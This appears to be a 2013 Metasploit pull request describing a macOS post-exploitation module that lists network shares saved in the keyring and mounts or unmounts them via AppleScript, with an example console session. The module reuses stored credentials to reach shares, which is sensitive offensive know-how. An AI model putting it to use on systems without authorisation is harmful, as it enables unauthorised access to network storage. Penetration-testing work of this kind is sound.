rapid7/metasploit-framework — pull request #2635 by peto01 (2013-11-13 16:13:20+00:00)
Title: Module post osx mount share

Lists network shares which are stored in the OS keyrings as well as already mounted volumes.
The module uses AppleScript to instruct Finder to mount network volumes using the stored credentials.
The module can also be used to disconnect mounted volumes.

Note that the modules unfortunately may have a different name when mounting and unmounting.

Example:
msf post(mount_share) > set ACTION LIST
ACTION => LIST
msf post(mount_share) > exploit

[*] Network shares saved in keyrings:
[*] Protocol	Share Name
[+] afp	10.10.10.39
[+] afp	DiskStation._afpovertcp._tcp.local
[+] afp	NetworkStorage._afpovertcp._tcp.local
[+] ftp	10.10.10.39
[+] ftp	ftp.business-intelligence-essentials.com
[+] smb	192.168.1.72
[+] smb	home-htpc
[*] Mounted Volumes:
[+] Macintosh HD
[*] Post module execution completed
msf post(mount_share) > set ACTION MOUNT
msf post(mount_share) > set VOLUME 10.10.10.39
VOLUME => 10.10.10.39
msf post(mount_share) > exploit

[*] Connecting to afp://Sucaba Storage
[*] Post module execution completed
msf post(mount_share) > set ACTION LIST
ACTION => LIST
msf post(mount_share) > exploit

[*] Network shares saved in keyrings:
[*] Protocol	Share Name
[+] afp	10.10.10.39
[+] afp	DiskStation._afpovertcp._tcp.local
[+] afp	NetworkStorage._afpovertcp._tcp.local
[+] ftp	10.10.10.39
[+] ftp	ftp.business-intelligence-essentials.com
[+] smb	192.168.1.72
[+] smb	home-htpc
[*] Mounted Volumes:
[+] Macintosh HD
[+] Sucaba Storage
[*] Post module execution completed
msf post(mount_share) > set VOLUME Sucaba Storage
VOLUME => Sucaba Storage
msf post(mount_share) > set ACTION UNMOUNT
ACTION => UNMOUNT
msf post(mount_share) > exploit

[*] Disconnecting from Sucaba Storage
[*] Post module execution completed
msf post(mount_share) >